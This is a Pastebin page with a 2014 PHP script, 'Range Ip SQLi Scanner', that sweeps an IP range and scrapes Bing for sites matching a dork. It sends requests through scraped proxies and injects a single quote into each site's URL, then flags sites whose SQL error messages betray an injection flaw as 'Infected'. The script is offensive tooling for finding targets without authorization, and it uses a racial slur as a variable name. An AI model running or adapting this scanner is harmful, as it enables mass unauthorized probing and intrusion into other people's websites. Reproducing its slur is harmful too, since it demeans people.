inj3ctor_m4

Range Ip SQLi Scanner v1.0

Aug 4th, 2014
1,194
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.83 KB | None | 0 0
  1. <?php
  2. /*
  3. Bing Ip SQLi Scanner v2.0
  4. Coder: inj3ctor_m4
  5. */
  6.  
  7. error_reporting(0);
  8. @set_time_limit(0);
  9. if(count($argv)<3)
  10. {
  11. echo"
  12.  
  13. ____                         ____             ___      
  14. /\  _`\    __                /\  _`\          /\_ \    
  15. \ \ \L\ \ /\_\    ___      __\ \,\L\_\     __ \//\ \    
  16. \ \  _ <'\/\ \ /' _ `\  /'_ `\/_\__ \   /'__`\ \ \ \  
  17.  \ \ \L\ \\ \ \/\ \/\ \/\ \L\ \/\ \L\ \/\ \L\ \ \_\ \_
  18.   \ \____/ \ \_\ \_\ \_\ \____ \ `\____\ \___, \/\____\
  19.    \/___/   \/_/\/_/\/_/\/___L\ \/_____/\/___/\ \/____/
  20.                           /\____/            \ \_\    
  21.                           \_/__/              \/_/  
  22.                            
  23. \n";
  24. echo"\tUsage : php ".$_SERVER["PHP_SELF"]." [127.0.0.1] [dork] \n";
  25. exit;
  26. }
  27.  
  28. echo"\n\tGreet'z To Moroccan Haxor'z & Mr.Evil\n\n";
  29.  
  30. $ip = $argv[1];
  31. $dork = $argv[2];
  32. $proxy_page = urlencode('http://www.ip-adress.com/proxy_list/index.php');
  33. rangesqliscanner($ip,$dork);
  34.  
  35. function rangesqliscanner($ip,$dork){
  36.  
  37. $ip = explode('.',$ip);
  38.         $ip = $ip[0].'.'.$ip[1].'.'.$ip[2].'.';
  39.        
  40.         for($i=0;$i <= 255;$i++){
  41.        
  42.            $Check = @fsockopen("".$ip.$i."", 80);
  43.            
  44.            if($Check)
  45.         {
  46.            
  47. echo "[+] Scanning -> ", $ip.$i, "";
  48.  
  49. getproxy($proxy_page);
  50. $vpn=file("./vpn.txt");
  51.  
  52. foreach($vpn as $proxy){
  53.  
  54. countdomain($ip.$i,$proxy);
  55.  
  56. }
  57.  
  58. $bing = urlencode("ip:$ip$i $dork");
  59.  
  60. for ($a = 1; $a <= 10 + 10; $a++)
  61. {
  62. $src = getsource("http://www.bing.com/search?q=$bing&first=$a");
  63. preg_match_all('/<h2><a href="(.*?)" h="/',$src,$matches);
  64.  
  65. }  
  66.     $sites = array_unique($matches[1]);
  67.  
  68.  
  69. }
  70.     foreach($sites as $site){
  71.  
  72. $get = getsource("$site%27");
  73. if (preg_match("/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch​_row()|SELECT * FROM|supplied argument is not a valid MySQL|Microsoft OLE DB Provider for ODBC Drivers error|Syntax error|Fatal error/i",$get)) {
  74.  
  75. echo urldecode($site)." >> Infected\n";
  76. }
  77. else{
  78. echo urldecode("$site")."\n";
  79. }
  80. }
  81. }
  82.  
  83. // By Mr.Evil HHHHHHHHHHHH     
  84. echo "\n\nGood Luck With Your Pentesting. :)\n";
  85. }          
  86.  
  87. function countdomain($ip,$proxy){
  88.  
  89. $ch = curl_init ("http://domains.yougetsignal.com/domains.php");
  90. curl_setopt ($ch, CURLOPT_POST, true);
  91. curl_setopt ($ch, CURLOPT_POSTFIELDS, "remoteAddress={$ip}");
  92. if ($proxy)
  93.     curl_setopt ($ch, CURLOPT_PROXY, $proxy);
  94. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  95. $postResult = curl_exec ($ch);
  96. curl_close ($ch);
  97.  
  98.  if(preg_match_all("#\"domainCount\":\"(.*?)\"#",$postResult,$domain)) {
  99. $nigga = $domain[1];
  100. }
  101. foreach ($nigga as $domains) {
  102.  
  103. echo "\n   [+] Total Websites: $domains\n\n";
  104.  
  105. }
  106. }
  107.  
  108. function getproxy($proxy_page){
  109.  
  110.     $ch = curl_init();
  111.     curl_setopt($ch,CURLOPT_URL,'http://proxy-list.org/english/extractor.php');
  112.     curl_setopt($ch,CURLOPT_RETURNTRANSFER,TRUE);
  113.     curl_setopt($ch,CURLOPT_POST,TRUE);
  114.     curl_setopt($ch,CURLOPT_POSTFIELDS,'url='.$proxy_page);
  115.     $return = curl_exec($ch);
  116.     preg_match_all('(<div class="input-wrap input-wrap-long"><textarea name="rawtext">(.*)<\/textarea><\/div>)sUi',$return,$proxys);
  117.     $proxys = explode("\n",$proxys[1][0]);
  118.     foreach($proxys as $proxy){
  119.    
  120.     $save = fopen('vpn.txt','ab');
  121.   fwrite($save,"$proxy");
  122.   fclose($save);
  123. }
  124. }
  125.  
  126.  
  127. function getsource($site){
  128.  
  129.     if (function_exists('curl_init')) {
  130.  
  131.         $ch = @curl_init($site);
  132.         @curl_setopt($ch, CURLOPT_HEADER, FALSE);
  133.         @curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
  134.         @curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
  135.         @curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
  136.         @curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  137.         $source = @curl_exec($ch);
  138.         @curl_close($ch);
  139.         return $source;
  140.  
  141.     }
  142.     else {
  143.    
  144.         return @file_get_contents($site);
  145.    
  146.     }
  147. }
  148.  
  149. ?>
Advertisement
Add Comment
Please, Sign In to add comment